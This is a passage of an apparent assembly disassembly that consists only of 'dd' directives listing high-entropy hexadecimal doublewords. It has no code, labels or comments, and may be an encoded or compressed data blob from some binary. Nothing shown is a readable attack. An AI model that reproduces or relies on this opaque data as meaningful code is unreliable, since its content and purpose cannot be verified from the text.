		dd 548D9C22h, 0F0DCD4h,	5AFE0AECh, 91A1ABDDh, 0EA18CC94h
		dd 0D4D121h, 0B3A2CE0Ah, 0AF8D2137h, 5E306F0Fh,	445E5754h
		dd 405822D1h, 0C8A0203Dh, 0B975CE03h, 26CB0108h, 74C41910h
		dd 2C17BD46h, 63F300CCh, 0F91A0C7Dh, 7CCBC62Eh,	70662EC0h
		dd 1090C1AEh, 2CD9AA01h, 8CB9EC84h, 233E3700h, 4B06B884h
		dd 0B7780395h, 0B1ADA859h, 0D130C821h, 0E02618BFh, 0EE8B0198h
		dd 0F57677F3h, 0A62180B5h, 0E20B3553h, 0AE16009Dh, 0B6B17075h
		dd 76FC81F1h, 0E88D2635h, 0ACDF2C41h, 8C28E35Fh, 0EC137A3Ah
		dd 671030F8h, 1C23A968h, 0C0443E88h, 0F6689F00h, 773A0C39h
		dd 0EF0303D9h, 0AEF57D4Ah, 8503917Ah, 0C6F648BBh, 0B0B4F0D0h
		dd 1249141Ch, 5A00ACEFh, 0E2F1D4Eh, 0F450D1B2h,	2B00F264h
		dd 0DFC8E48h, 1CB0632Dh, 1C27AD83h, 349B5242h, 8894CBC4h
		dd 7369C399h, 978DA80h,	21C445FFh, 728D6CCCh, 29050078h
		dd 0B311DE1Bh, 0BF353969h, 22FD000h, 203071EAh,	0A05FE228h
		dd 0C4BC9648h, 9C82B205h, 5E85A8Eh, 0AD38548Bh,	92B4C863h
		dd 0E9B74930h, 93D1A2ECh, 2808A1D8h, 18114CC0h,	0F38AB23h
		dd 5054EC14h, 14F88AE0h, 0B1EA58F8h, 3DD4DD00h,	0AE997BE5h
		dd 3CD0595Dh, 0E8B3C59h, 0B891E097h, 5DCE0D80h,	64B2B150h
		dd 3BA1C960h, 171AB32Dh, 1617D074h, 23002F68h, 60C400A2h
		dd 79A48994h, 0E3226907h, 0BC233066h, 0E27000A5h, 84B1E406h
		dd 0BA4B7618h, 3C993830h, 7968917Bh, 2A118AEh, 0A5524BDFh
		dd 9F400EACh, 65004CE7h, 56C8D6Bh, 4D790Dh, 6D47B580h
		dd 0CF831326h, 8591B8CFh, 0FC09D823h, 0C464C50Eh, 0F43660BDh
		dd 574022Ah, 53900877h,	8D2450C4h, 0EC8028E0h, 13221FBCh
		dd 59F216h, 4A93B77Ah, 2A446347h, 0AD904E14h, 0E9985890h
		dd 3B4430E6h, 3E5B6B13h, 0ABC8688Bh, 88E24C0h, 0DBEB1D2Eh
		dd 75CA8BFh, 6CB073D6h,	5F15F087h, 48FCD57Ah, 7934C106h
		dd 729DE8Eh, 4C06AA2Ch,	1099117h, 169BC4EFh, 1404CA2Eh
		dd 2D136659h, 0BCAF54A9h, 0F708FFF8h, 1CD4F9B1h, 225E80h
		dd 0FFFADB5h, 0FC000AFEh, 0D6DED3A1h, 0B26CE9AAh, 0A5D12094h
		dd 2889F700h, 99E1632Eh
		dd 0CC67EABh, 0B783F450h, 8E4C9F30h, 0BF668014h, 79B2E19h
		dd 3A8B6149h, 0DA35E08Ch, 0CA4D6DA8h, 0AB119330h, 0F29E00E8h
		dd 2E0454A1h, 33993A47h, 53644580h, 0AAF51305h,	12729C0h
		dd 757D3DBDh, 88340206h, 481DCA03h, 0AD522460h,	5B91AB88h
		dd 6C244783h, 0D0377B35h, 0A2EB3900h, 19470D7h,	562AB93Dh
		dd 844169h, 80F2EA49h, 8F05219Bh, 3A5651CCh, 2EDBFCC3h
		dd 110CC150h, 0AEE875Ah, 0CEED480Fh, 0D69B00F1h, 6B75E80Ah
		dd 0BE6000ECh, 0E59AFC3Dh, 8A49193Ch, 108D24ECh, 0C98EB40h
		dd 21EA01FCh, 601EC96Bh, 119FE8E5h, 5C1DD090h, 0B2CE52F3h
		dd 93978EE7h, 141BFC92h, 72FAF1EFh, 4DD41E9Ch, 0C1943349h
		dd 0F5109604h, 0F300F66Ah, 0AC9E4B72h, 16FCAA1h, 29202FDAh
		dd 3112E4BDh, 4D821D4h,	23802FBCh, 0E1BE00EAh, 87D58CF2h
		dd 32550C0Eh, 0A4EBA53Ah, 790040B2h, 31E6337Fh,	5E4B0DBh
		dd 0C202140Bh, 0AD1A0051h, 9EA35092h, 0E46680F0h, 0BED888CCh
		dd 3BDC289Ch, 4080B0B1h, 3F6E1523h, 9E3CDD54h, 0BFC5935Eh
		dd 0E62A6480h, 303D8198h, 2C8CF318h, 13F8686Eh,	95186240h
		dd 6866D920h, 4C8A0505h, 0D039B519h, 24DE9044h,	0A184E120h
		dd 0E0185828h, 5AFA0A04h, 0E932A87Dh, 0AC89520h, 0D4230E6Eh
		dd 0E140173Bh, 30963A52h, 0B90C5490h, 0C0BC9508h, 0A19D1D6Ch
		dd 40A4A4E1h, 2604BB18h, 0CA7E43Bh, 59D88DC7h, 0E1BA02C1h
		dd 7E420B21h, 6CECF4C0h, 0B0D244BAh, 9FF900D1h,	1F59E180h
		dd 0D5654878h, 950EDE0Bh, 0A2B604A4h, 0DF3D08D0h, 22E74F29h
		dd 2D1048B0h, 0D420286Eh, 9FE400E0h, 1F1E7F05h,	0E7038E5Eh
		dd 1CB1ECF2h, 906F8DC8h, 305ED700h, 0FC72B40Dh,	1D9F6CB4h
		dd 8170900h, 4ABA9147h,	0B0F82051h, 0AC243DA8h,	1D409892h
		dd 13114E21h, 0C405D664h, 0B0F4B65Ch, 67F9FE2h,	8E2DCB86h
		dd 0F400A9E5h, 0DA156275h, 0BE61B8h, 6FBA1A6h, 9AF12314h
		dd 0C81A2009h, 0CD3CA1E0h, 404BBC09h, 6DC09888h, 2865CE84h
		dd 77B8CA30h, 672A18EFh, 405BF8B1h, 10005E5Fh, 36E311CFh
		dd 462A090Ch, 8C800FF5h, 3EF3E982h, 0B84250B2h,	0F5DE0A06h
		dd 0C92EA05Ch, 3C9B8A0h, 18B84A0h, 7C532A30h, 86527862h
		dd 85654B69h, 0A47402h,	50D766DDh, 0B79A39BFh, 0F7C33E00h
		dd 0EE15340Dh, 7B540063h, 336EC465h, 1B0051D7h,	1D032F11h
		dd 58D953E6h, 7F03F9E7h, 0DA18E454h, 0A0EA78C3h, 9A986CE0h
		dd 6BC9D500h, 6D7AFE86h, 9F5600C4h, 1D882612h, 1C002294h
		dd 9151660Ah, 523069h, 847582EBh, 1F286192h, 22CE871Ch
		dd 58509553h, 0E1C040A0h, 0F2C87D52h, 0C79530A6h, 9269013Bh
		dd 884FA4F4h, 0E6D9E03Dh, 55D0256Eh, 804E3852h,	0EEC0EF88h
		dd 908A43BDh, 0FB884468h, 218098B6h, 2E31BAEBh,	3E481D02h
		dd 73A1406Bh, 8936ED6h,	982DDF2Fh, 80CA35D8h, 5A0D851Ch
		dd 10C0BD40h, 690A21ECh, 0C18A8ADh, 0B002BC7h, 727ECD6Dh
		dd 29E7609h, 0B327AF34h, 856FA93h, 0D3F1380h, 0F3E8154h
		dd 18631BC6h, 8E2915C4h, 0C3A38874h, 459060EDh,	2E507B31h
		dd 0D0126F8Ch, 8C5FC5Dh, 0A8B0800h, 5AAC6D54h, 88704156h
		dd 0DBFA4A69h, 31BD1100h, 15112F2Bh, 44910A6Ah,	11C4A7ECh
		dd 0AE9819Fh, 0C0445AFDh, 0D000448Bh, 8E8B0AD1h, 34941E61h
		dd 0B8904813h, 78205AFCh, 69A4A079h, 14E9735Fh,	3483336Ch
		dd 8CF3ACh, 0D945EE66h,	69DE39E5h, 0CC500500h, 927FA5CEh
		dd 0B2700906h, 0C5372B0h, 1F2E4A58h, 67B994A9h,	0F020B016h
		dd 0F8830CCFh, 2CE0E986h, 0D01CE029h, 5929DE09h, 0A3B04038h
		dd 9DE4BF25h, 8B1D7276h, 6F41E7A2h, 0D1A5F021h,	7DDD3891h
		dd 0B9D60535h, 62347890h, 806158FDh, 3F102858h,	1E9522E8h
		dd 8323C2AFh, 0A330C094h, 0F1BD2BB8h, 0C7DE5700h, 0F81C6B2Ah
		dd 0D5FC37B2h, 0E3EDA059h, 4104E567h, 3D58A2A6h, 59CD70D1h
		dd 9F812078h, 389B5AACh, 0B008A68Ch, 7CE09694h,	0A403A046h
		dd 27427C61h, 0A3B9FEC8h, 5DAEB004h, 0E0C0D754h, 15E71E1h
		dd 9005AB3Ah, 0D7C909F2h, 1BE478C8h, 6F07B098h,	33FB9203h
		dd 0A95CFA37h, 8781033Dh, 8E42B7BFh, 0F43C86A0h, 334CD30Bh
		dd 0DF700206h, 0BFC4425h, 0BCE1B711h, 0D0D298C4h, 0A688D4CBh
		dd 6664E2CFh, 4059E5h, 63ED92EBh, 0FF00B39Eh, 328D3BF3h
		dd 9229F40Ah, 11B90674h, 80C6D54Fh, 0BE220916h,	3C83C0C5h
		dd 0FAC42449h, 63CF4008h, 3C2E1356h, 4496884h, 3640DC78h
		dd 4AD6B81Bh, 469A3Ah, 0EF053134h, 1CD3CFE2h, 0E59E3AB2h
		dd 65CD3018h, 0B81F484Bh, 40C4C14h, 0B11C45D5h,	9CD44301h
		dd 2549E108h, 0BC3439ECh, 180B8BEh, 0DC32164Ch,	74B8C540h
		dd 3C99EFE0h, 0C618E8D1h, 4C123C73h, 0F491FA07h, 0C1CC6EC5h
		dd 7FEA007Ch, 8E061AE8h, 0EC1E7423h, 0F8C13B42h, 0F4872B10h
		dd 7E07D02Dh, 601D115Eh, 2F36E95Ah, 0BD5C30Fh, 0C9780287h
		dd 661048BAh, 7954B183h, 940019EDh, 2117C31h, 5148DC6Ah
		dd 80D88A05h, 875D046h,	952E6446h, 0A0DC70h, 14AAD546h
		dd 0B126559Fh, 960E9203h, 0BDF5A85Ch, 0E04AA840h, 0D1A59A05h
		dd 523C7438h, 0AF49C180h, 0C5F8C96Ch, 81282D3Bh, 0F91CB144h
		dd 0F040F78Eh, 4C5C4FABh, 47E1846Dh, 511B00CCh,	0ECB440E6h
		dd 17807899h, 0D3C2D278h, 42FA07B0h, 43E46AFCh,	8892471Bh
		dd 59097850h, 0C6C9C520h, 5E54BEACh, 47009946h,	130973C4h
		dd 584EAC6Ch, 36B7A041h, 9C31A106h, 0C868B1F5h,	0E48CCCD6h
		dd 0E02F35FEh, 0C7B46904h, 92C49838h, 3AB4BD52h, 17532F94h
		dd 8FA391FCh, 1B674DEh,	2E2448EBh, 0B822F527h, 0EFFD9C00h
		dd 8D3D97FCh, 884368BEh, 0A440A024h, 0CA0100AFh, 7B7FD686h
		dd 8F0E1B0Ch, 61E7B27Eh, 80778E4Ch, 9D09D870h, 0F81FAC01h
		dd 0BC6068D6h, 1008CBFh, 42E20C79h, 13F726A1h, 2263AC5Fh
		dd 24C4FBB0h, 991C2C70h, 6841CE76h, 0A13C3B6Fh,	0B049B444h
		dd 0BB846B51h, 825EC2C1h, 0CAA9FE08h, 27084024h, 8E631673h
		dd 0C194DE6Ch, 1BADA38Ch, 0C3C0A2DDh, 1E0094Eh,	18D13610h
		dd 0A771DCA1h, 8AE69318h, 6F6B8607h, 4C604FACh,	953C97Eh
		dd 1EB21167h, 1873E062h, 2E258h, 145C6D2Bh, 0EA2254F9h
		dd 42003158h, 30EFE228h, 7E7ECABEh, 186E2E09h, 0E5E08199h
		dd 3422C254h, 0DC607A26h, 14777F00h, 322E27F7h,	0B09AF684h
		dd 0FCAA4418h, 1F047F07h, 0ED4046F1h, 2C84B32Ch, 8D806DCh
		dd 0AC2661ECh, 19B4674h, 4E2E6C0Bh, 0D082B634h,	120554E4h
		dd 957974F9h, 513CDC19h, 80022A5Ah, 48D3FAA0h, 5CDEE068h
		dd 0E7840C27h, 541C8806h, 81955A7Eh, 528DB1D0h,	0AC29F9E9h
		dd 8A4CEF00h, 0A4F7472Ah, 660709ECh, 106E2D1h, 168D4B6h
		dd 52A9849Ch, 93AF4622h, 54011648h, 0A620562Fh,	9FACD8A4h
		dd 0B3694917h, 46F01CD8h, 845E30F2h, 3D3FF404h,	785DEC00h
		dd 0ACA04B1Ah, 662F9C9Fh, 618007Ch, 15B1A908h, 0D0A2F4E1h
		dd 0FED0A300h, 19E017CCh, 0C4D9D169h, 0DA513D98h, 70D2C581h
		dd 6806F572h, 8CE6BC80h, 0BF6B5901h, 845651D5h,	0A85DE88Ah
		dd 3AB40354h, 190C9716h, 0E8D86540h, 0BE3218BCh, 0CF9018ABh
		dd 0E454D8E3h, 214CA29Dh, 4B50783Ah, 231C2F48h,	9B003BEAh
		dd 1D47E4B8h, 6E62F4AEh, 0F30FCEF8h, 0ED7658F0h, 0F45EE409h
		dd 8C4BBh, 0DABA66EAh, 6E1D0B0Ch, 16750773h, 65B2AD05h
		dd 0E0A6BD06h, 8E988AE0h
		dd 71314000h, 56D2F639h, 525C1C05h, 0FC02C476h,	805CBC6Ch
		dd 299710B9h, 7D27007Ah, 0B7DF7CE0h, 0D2079566h, 0CF56C507h
		dd 48FCA444h, 23402E96h, 97D300B9h, 8B553C72h, 4EAEEE00h
		dd 0E5061FC1h, 0B84C82AFh, 0A4C4F8A5h, 0FFB9C560h, 2608BE02h
		dd 5206E005h, 3A540980h, 908033DAh, 9B84A057h, 0C3E49001h
		dd 9EFA5E2Ah, 0B1E18020h, 1CF980A0h, 460FF854h,	1A1E6B76h
		dd 4380754Ah, 50105153h, 0E0030245h, 0B3845E2Eh, 86CE3068h
		dd 66463490h, 0FC0AE201h, 0CA80D5Ah, 0EA9F88E5h, 52330A00h
		dd 0DCC1601Eh, 0A5F728C8h, 0F0920944h, 840163F2h, 87492852h
		dd 26785939h, 2650187Ch, 0BE242B22h, 41040618h,	46FCD860h
		dd 0E87890BBh, 5A19096Ch, 3460C920h, 321822B4h,	7868EB94h
		dd 18BD69E5h, 6900ACD1h, 0C091DD98h, 1B9F071Eh,	204C6C6Eh
		dd 0A4A865CEh, 613CA295h, 0AB34E01Ah, 44349E55h, 8004A85Fh
		dd 0BEBABDB6h, 6434008Dh, 2C29015Ch, 0D10858A3h, 89EF22DEh
		dd 78C6D3A0h, 90F508C9h, 3F79D760h, 0AA890216h,	9C455FE9h
		dd 0C267B8E4h, 7CDA91ABh, 0AAF91B08h, 562D0412h, 0E584B03Ch
		dd 98D2CE2Ch, 4084CDCBh, 0B02AF551h, 0FE6C5802h, 5B355F1Dh
		dd 2668A6B0h, 0E0CB5AD0h, 0B00D2382h, 0DA06C3Ch, 2603F475h
		dd 0B3AD06Ch, 76F8B139h, 2CAE50D4h, 0AF905572h,	0AD11FC97h
		dd 8A251780h, 1B094048h, 467B332Ah, 22060048h, 42701256h
		dd 2300E692h, 3981A51Ch, 14F54BDh, 0C8806B7Fh, 6B305662h
		dd 6FD2F401h, 9050E38Eh, 2C194453h, 0D5C477h, 76077CB8h
		dd 6217455Bh, 54F48D6Ch, 147504BAh, 0B2D3A19Bh,	50630060h
		dd 61E464BCh, 59FB1C42h, 2225F958h, 0F8B10449h,	4896D6DEh
		dd 7D5C5640h, 0ACCD00A6h, 0D5D093F7h, 97647F09h, 0D0B9CB7Ah
		dd 0ACF4D10Ch, 0FB719A69h, 3E964100h, 5963B5FDh, 53290E7Dh
		dd 49723910h, 45AF4B4h,	30B09100h, 0D73D6ED4h, 849800A0h
		dd 829381CEh, 68B0CC1Eh, 31919944h, 0FC39A74Ah,	95872B2h
		dd 79AF5792h, 6CE10828h, 48A00836h, 0DF2298E9h,	6978B912h
		dd 52CEE841h, 0A46CA4D2h, 54B8DC4Dh, 0CD3DF702h, 6328AE59h
		dd 0B920A8B0h, 460D2A3h, 0B1384Ch, 6A511EB0h, 0E83095B6h
		dd 0AA00E92Ah, 0A96614CAh, 704775D4h, 0A8494C7Dh, 0A4824977h
		dd 600ED3B8h, 0A0A4DC64h, 0DD5FF2BBh, 0AF492292h, 818C890h
		dd 55A8CCC5h, 49B27A68h, 6F0794F8h, 83821330h, 0B008C01Ah
		dd 91FA05h, 0C9DD0410h,	0D9005884h, 0B530BF50h,	1B79654Ah
		dd 9863A99Eh, 0CFB8C2A4h, 0FE266020h, 84152D52h, 333A60E1h
		dd 0ACC41620h, 18626CF7h, 0DE19A11Ch, 0CD2E5008h, 5B3EFC88h
		dd 0C09CD492h, 0B0579AA4h, 23C8208h, 0CF5BACC0h, 78152D0Ch
		dd 1B80A091h, 0BFA7AFEBh, 0C7109295h, 60B84488h, 189595Ah
		dd 11B77BD7h, 43B9C107h, 72E2D4C8h, 740220DEh, 0E69CC912h
		dd 98159D3Ch, 5980B291h, 8041642h, 0E20CA102h, 1128F4h
		dd 61D3A2F7h, 0DCA05CF2h, 40176B9h, 92AAEA83h, 29BE0D48h
		dd 0C64F9Fh, 4D7928A8h,	381EA0E0h, 3C6422DFh, 47EE6387h
		dd 0A3A5AC70h, 7847430h, 0ADB518CAh, 0A18C8159h, 86EDE052h
		dd 0F0C1431Dh, 8D083B18h, 106E064Ah, 30F952C2h,	0DB00B4E8h
		dd 5BC5ABD5h, 0F02EC85Ah, 110C0705h, 47CACBD9h,	9095E0F9h
		dd 10C1CD0Bh, 861CE031h, 3C84ACCh, 498563ABh, 900794A8h
		dd 64EBB7FCh, 0C19B1B02h, 0DDEB508Ch, 6F52AC42h, 3D472F9h
		dd 0DCBD552Dh, 66B0994Fh, 5A03B846h, 26E4E728h,	0CA90A131h
		dd 171E2C4h, 4D0E295Dh,	81E64164h, 21699140h, 74F08F46h
		dd 0F8BC6Dh, 6BF79202h,	4F4CAA23h, 0E7831BEEh, 7A019AE8h
		dd 26B801A0h, 67BC803h,	934CF4D2h, 4D039177h, 0D5A6AE8Fh
		dd 0E54AD8DCh, 840B0126h, 92A2457Ah, 80902B53h,	1E134C02h
		dd 4906F704h, 7C908DD7h, 3139CD55h, 4B44868Bh, 880D58Ch
		dd 0CCFC917Ch, 1E3F94A4h, 902FCE82h, 18BB3C4h, 0DC0A4CA8h
		dd 0F707082Eh, 6F0C11B0h, 656AF100h, 4A56F7D8h,	6D060A72h
		dd 18CC756Eh, 63771048h, 6F59028Ch, 49F59BDBh, 0D96E5C00h
		dd 405560ECh, 52282BB0h, 511804ACh, 4D102997h, 5807182Ah
		dd 0FF0B2124h, 0B3049600h, 0A2AC71F6h, 1F08CC6Eh, 65006421h
		dd 804B4D96h, 6ACCF955h, 6F5915h, 0E6AF5A6Bh, 0A9332F8Ch
		dd 0B4081Eh, 6B046921h,	0A4B9F2C3h, 8D062000h, 1A8A3B31h
		dd 3021F627h, 0C9A1A9DCh, 0B70AABE8h, 5C29CF74h, 5B063C1Dh
		dd 3115402h, 0F2E50872h, 2CA8F5DCh, 0F74ECD5h, 12214C67h
		dd 16EDE500h, 48D20130h, 0FC3A925h, 6ECA1019h, 26C00CBh
		dd 35B9D9E1h, 3B050E24h, 0ECACC938h, 4A23382Eh,	0EA372400h
		dd 761BC61Dh, 309CA834h, 29506FA1h, 4FC8358Ah, 1955A586h
		dd 78C0AD07h, 54C53D72h, 0E5033C20h, 0DDC29FDh,	0FB174074h
		dd 0A40038E5h, 0EF4AC4AFh, 28D7B6BAh, 46F0B97Ah, 96FE0704h
		dd 7048B303h, 960A5865h, 4CAD30DCh, 89E24C33h, 66E0D21Ah
		dd 0C1AC60BDh, 0CD55D90h, 4E5F3103h, 306F295Eh,	0EA21C208h
		dd 0B200D555h, 0AC04C01Fh, 600FB5E2h, 0B835943h, 0FA0045C2h
		dd 97CB4457h, 2F8B75h, 0DE7BEE10h, 0EDC836A5h, 0B6B8B300h
		dd 0EC69311Fh, 51321822h, 0B67B114h, 0F518192Ch, 0A85FF000h
		dd 0D84449h, 24DD0237h,	0CA78FCC7h, 131DA402h, 4986A6BFh
		dd 60268E28h, 0E04BB9E0h, 894AEF00h, 1D2A1AA8h,	7C2E35A6h
		dd 23A83AA9h, 0E48D031Dh, 0DD80A983h, 0BF003331h, 2130E280h
		dd 358668h, 0BC9754D0h,	40235C20h, 9AB0E00h, 0F9FA8F93h
		dd 9F511834h, 95BA5017h, 0E0BEAF28h, 32FB44h, 0A39749D0h
		dd 0C67B1AAh, 27D3C918h, 28CAD9h, 6AD679C0h, 356DED05h
		dd 62A7A200h, 25BA332Fh, 0E851E7BDh, 0B2F01232h, 5CCA007Fh
		dd 0D44F0F69h, 6D008266h, 5DFDECDBh, 542E98F7h,	38BA88E4h
		dd 0C394338Ah, 6B30DC12h, 440F4BA9h, 0F2E4A1C0h, 94CEC27h
		dd 71DA85Bh, 227FC000h,	4400F753h, 4B19FC87h, 0C4538h
		dd 93658440h, 0EC80507Fh, 3931DC01h, 3FB6C501h,	58372081h
		dd 80BE6974h, 82D0F911h, 0F7CFB847h, 1B636F4h, 0AA4A249Bh
		dd 80836662h, 0E6980229h, 0DFF8A6h, 5328EB48h, 0BD3EFED6h
		dd 26044500h, 0D441E647h, 880D60E7h, 48F82C3Fh,	850C9076h
		dd 9933B67h, 0CC21C018h, 7B3648F1h, 0F95C5219h,	0F0D061C1h
		dd 113B6023h, 0CD1CD41Fh, 0A5C8C016h, 53095D19h, 0DC7F2180h
		dd 59327B1Ch, 635ABF00h, 0F36D3C6Fh, 0C54778Dh,	8B868F4Eh
		dd 0AB3EE0C8h, 0A5E180F0h, 45F443B8h, 0FE5300C3h, 0CB7CCAAh
		dd 902E742h, 658F8BE6h,	0A06F0F5Ch, 0C6D4FAE0h,	8331BC0h
		dd 0B409C1h, 0FADB8021h, 9D5C5D22h, 2E080A8h, 6316E9C0h
		dd 3D30C0h, 80B7E1A0h, 25D77C69h, 0F209DF03h, 0BE074B29h
		dd 87F40339h, 6903521Ah, 0D93FA2C0h, 0C4A88AEAh, 4E009E64h
		dd 287C02F8h, 0CC7B0B44h, 0C5219508h, 0F54E9602h, 98814314h
		dd 6061E0h, 80B391D5h, 8A0EFB28h, 0F1E3ED01h, 548E69Ch
		dd 58842981h, 80221A8Bh, 7CC2A481h, 0C0390A48h,	0FEF35F21h
		dd 447CC3A5h, 194B0431h, 0F1BC01E0h, 20999C00h,	3DB6715h
		dd 8CA32700h, 0D0928381h, 290A6AE0h, 0E8023B51h, 3A60C38Bh
		dd 18DB2041h, 91483BF9h, 1A118D23h, 488ED300h, 23919910h
		dd 0EFC044A0h, 38BCCF3h, 4AEBE900h, 0E0AF5EC7h,	1BDF0E09h
		dd 8364AD7Ah, 548C83FFh
		dd 4EA4D906h, 0C14287h,	36DA0AE2h, 5BC2A69Fh, 1B9FE58h
		dd 2F7571D3h, 0E9C0E3ECh, 0BF68008Ch, 0F7CAF358h, 603B5EA1h
		dd 0C2858586h, 0E0220AD9h, 4E9C30DFh, 6C02FA11h, 0C7809688h
		dd 8EA64E94h, 0F19E06EDh, 0F10BE0D9h, 7DE21F13h, 0D0018B8h
		dd 7B48E834h, 21C306E0h, 0F97FF0CDh, 56F019B3h,	0D1860A17h
		dd 11D4DD97h, 0DF8F0041h, 34EAAE1h, 2991E8E0h, 7154CFD5h
		dd 411892h, 0AFABC0A2h,	4B6BA36Eh, 0E2700C80h, 0D4050045h
		dd 0B3582182h, 9F0E597Eh, 414E13EFh, 0ECFD678Ch, 0C0439820h
		dd 0AFEE2599h, 20E2D3A3h, 83891801h, 0E791AB4Ah, 1FF20C22h
		dd 125DC630h, 8244ADCh,	0F6C1DA2Ch, 0F5D99248h,	0CE881718h
		dd 0C548008Fh, 7A94B10Ch, 0D91D785Ch, 0A74003A9h, 0BE5DFEC0h
		dd 310462C3h, 9C90CB01h, 530058A4h, 0EA5F950Bh,	2A71D717h
		dd 3B8C486Bh, 0CF09FD4Fh, 1E00CD3Ch, 0D705F398h, 64303D1Dh
		dd 6A02E382h, 8A40610Eh, 0FA08D118h, 0C4C8C6D5h, 0D99F41B7h
		dd 446156FAh, 0FCAF9E3h, 51DE01C0h, 244C4C97h, 3BF28Bh
		dd 779FE766h, 0AE396C7h, 723FADEEh, 800832A4h, 0FAD33088h
		dd 0F8C6DB11h, 8180B588h, 5E5AFADAh, 91E11A33h,	0BC041841h
		dd 48FB60D5h, 52DDFC9Fh, 0C9C0DC60h, 0D97048F0h, 0B5ABE100h
		dd 0F7A45293h, 25605F3h, 9E0CDDC5h, 6BD3C434h, 2B1F088h
		dd 0BEFD78F4h, 40484623h, 271FDDDFh, 0E8E49B5Bh, 95C287E0h
		dd 0A34684BBh, 0F64E9001h, 0D298C02h, 88CB20EEh, 2E06354Eh
		dd 94667408h, 7E170519h, 0C0E93A72h, 1B79DA6Ch,	0AFEC5700h
		dd 0D86E344Ah, 7C8F2CC0h, 3F4B8648h, 4E18A956h,	69C9B189h
		dd 5151C282h, 0FCC0FEB4h, 3509BCDEh, 80AEC438h,	7385655Ch
		dd 0E1B078A7h, 2C08E831h, 0F0394438h, 8B2B4D7Ah, 0CD01FC96h
		dd 0A8C6D1FAh, 8388BD18h, 82FA01D4h, 710F4993h,	7B64F0B6h
		dd 0CDBCE208h, 98019D09h, 582CA98Bh, 6B18EA0Eh,	4ADE8111h
		dd 0F8440523h, 5088FCCEh, 0D70079C7h, 130E311Bh, 50DA1A8Dh
		dd 8F1A94BCh, 688479F4h, 0FACE6095h, 0B0C623D2h, 8200B311h
		dd 53FBFAD5h, 0EC0CAECBh, 793A0B48h, 0B8787DBFh, 55420420h
		dd 0CC495810h, 38266DF8h, 4676FC13h, 99190E93h,	0C15A608Ch
		dd 0D6B96BF3h, 49100C91h, 50EDE081h, 0D1801CACh, 62A00E01h
		dd 81CDBF0Fh, 0AB2C840h, 8459C065h, 75D54C42h, 4DFCCC07h
		dd 0A3EBBD01h, 49BBD8h,	19B02261h, 0C332D2CBh, 191C406h
		dd 2969DDh, 7E77F835h, 6359C71Fh, 89455E07h, 3518501h
		dd 65136DC5h, 4438B7E7h, 0B349C02h, 8C58300Eh, 8505FD51h
		dd 0D8885D01h, 5CD70036h, 0D6747CF6h, 2207D1CBh, 3A02E1FFh
		dd 4C1E3920h, 4ECC0067h, 0F80474B9h, 0ECA0F784h, 0FA001770h
		dd 0A893240h, 4DB0F9h, 14ECB64Ah, 97E3071Fh, 3C2AB16h
		dd 0B502E803h, 2E05A0F2h, 667326E6h, 899410DCh,	265811E0h
		dd 0FFD030h, 0C2B3D4A8h, 0ED0AFE51h, 0BA304400h, 45B878Ah
		dd 0FCD09F5h, 640021EBh, 0F38EB034h, 0D94C2230h, 0A0536E8Bh
		dd 31336A4h, 69BE6C17h,	8EB8CEAEh, 29C04822h, 8248D38h
		dd 8CC60006h, 78E8CD37h, 0CE030F15h, 8E978156h,	8659A766h
		dd 72B16A82h, 8241C023h, 4DEACF45h, 7AE56106h, 14C92DE0h
		dd 0CABBA4F7h, 43970E00h, 5CC083F0h, 648DDA16h,	0DBE16A00h
		dd 130290h, 66D15947h, 5871FEA0h, 9539F200h, 458F87D9h
		dd 0E0973E7Bh, 0D5047A29h, 1FF80D0h, 61ED3CC9h,	9D048F77h
		dd 0CB818319h, 0A788C643h, 0E387F0h, 0DE29BF10h, 0FF840793h
		dd 38330930h, 0F7F6386h, 0D3E1F30Ah, 0E8553883h, 0E9C0A3E2h
		dd 2A380124h, 803F0064h, 4C81FBDAh, 1917EA0Dh, 9165E4F3h
		dd 361FDCB2h, 89FB8400h, 228DC749h, 0D48F1AD5h,	67F5047h
		dd 317E2Ch, 0BBF9A3A4h,	9CC110E7h, 590B93E4h, 8C18E43Ch
		dd 726FA8DDh, 8C8F18F7h, 3F20C00Eh, 0EF1EC07Ch,	18F10398h
		dd 8850D3C3h, 508AB342h, 2A3E6C8Fh, 74F2E3h, 5D32FA93h
		dd 2E50D31Ah, 0EAE1EC00h, 710EDD69h, 59BD0339h,	82223AFFh
		dd 0D41698C9h, 8B00FD08h, 75C658E0h, 7ACD9325h,	54400A07h
		dd 0BAC4EE1Eh, 1D9D43BBh, 9326C314h, 0D818ED37h, 6FB003FBh
		dd 634F2887h, 75773164h, 34738FE0h, 0BA76222Ch,	0D606BD00h
		dd 0E22A1EB1h, 0D0A30034h, 709E8D7Ch, 0FE003009h, 845FC712h
		dd 30F05728h, 462C394Bh, 6A091C37h, 8F55E085h, 18309EC0h
		dd 15F9DD77h, 202F7F3Dh, 10E67DE1h, 5C1AEC41h, 0DA0056F7h
		dd 0A62D80F6h, 0D20F059Dh, 8047F303h, 2F8D812Ah, 30340117h
		dd 0BA4F5F7Bh, 2039A320h, 670F81B0h, 14108258h,	1077548h
		dd 6E3D9135h, 152625C0h, 0E6030036h, 0D14602DAh, 0FF007152h
		dd 3FF205EDh, 0ABF6C9B7h, 37081834h, 0E3E9C086h, 0B4803A56h
		dd 83BA03Eh, 71E2B980h,	27FB8361h, 0FFB69C09h, 86E83D7Bh
		dd 1007481Eh, 140E0812h, 0BDE45000h, 12D564B3h,	3D8442h
		dd 0AE1F1E64h, 91B4436h, 0B22916B7h, 7B8522ADh,	0AB214324h
		dd 10551217h, 0F7887A6Eh, 19C488B3h, 9227E48Bh,	5B02EE80h
		dd 0DB1621AFh, 0B1CD01F3h, 11868E11h, 0DE11A88Fh, 0B21911D4h
		dd 0DF0E4D00h, 7D29E80Fh, 0A7064033h, 0E69252h,	0C90FBFB8h
		dd 0E5685862h, 7C947001h, 5CAD75CFh, 0F8DB0AC9h, 0FEE348Fh
		dd 2911502Bh, 0D96094CEh, 5C6E6DA8h, 0C401AF75h, 0C952407h
		dd 49CCB850h, 0B842E8DEh, 0F498E0h, 0DB551BB6h,	763B9492h
		dd 14F2BE00h, 0E72166C8h, 0FD7B29h, 68285C8Bh, 0E977F61Bh
		dd 876DB307h, 0F3E08521h, 1C1434h, 352D9ED2h, 1E063364h
		dd 0EEA0D005h, 65C0C995h, 0B15911h, 0B566801Ah,	62702C8Fh
		dd 0D05B1901h, 0A872FB8Eh, 66AE80EAh, 0FA8F0276h, 6DAE0025h
		dd 0F2CA451Bh, 0BA0EA4E3h, 8023F4F6h, 61C2899Fh, 0BD26000Bh
		dd 0F5AD76A6h, 9E003C2Ah, 0D65A10B1h, 38FEE5Eh,	0C06AE2EDh
